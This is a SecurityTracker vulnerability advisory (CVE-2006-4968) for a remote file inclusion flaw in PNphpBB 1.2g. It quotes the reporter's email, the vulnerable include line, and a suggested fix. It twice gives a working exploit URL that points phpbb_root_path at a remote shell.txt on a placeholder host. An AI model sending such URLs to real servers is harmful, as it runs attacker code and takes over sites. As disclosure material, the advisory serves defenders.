PNphpBB Include File Bug in 'includes/functions_admin.php' Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1016912
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SecurityTracker URL: http://securitytracker.com/id?1016912
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CVE Reference: CVE-2006-4968
(Links to External Site)
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Updated: Jun 3 2008
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Original Entry Date: Sep 22 2006
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Impact: Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 1.2g; possibly prior versions
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Description: A vulnerability was reported in PNphpBB. A remote user can include and execute arbitrary code on the target system.
The 'includes/functions_admin.php' script does not properly validate user-supplied input in the 'phpbb_root_path' parameter. A remote
user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location.
The PHP code, including operating system commands, will run with the privileges of the target web service.
isn't initialize
A
demonstration exploit URL is provided:
http://[target]/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?
AzzCoder
reported this vulnerability.
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Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
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Solution: Version 1.2i is not affected.
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Vendor URL: www.pnphpbb.com/ (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: azzcoder@hotmail.com
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Message History:
None.
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Source Message Contents
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Date: Mon, 18 Sep 2006 03:28:06 +0000
From: azzcoder@hotmail.com
Subject: AzzCoder => PNphpBB (Latest) Remote File Include
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Vendor: http://www.pnphpbb.com/
Vulnerable File: includes/functions_admin.php
Vulnerable Code:
//The phpbb_root_path isn't initialize
include_once( $phpbb_root_path . 'includes/functions.' . $phpEx );
Method To Use:
http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/s
hell.txt?
How To Fix:
Add this code before the include
if ( !defined('IN_PHPBB') )
die("Hacking attempt");
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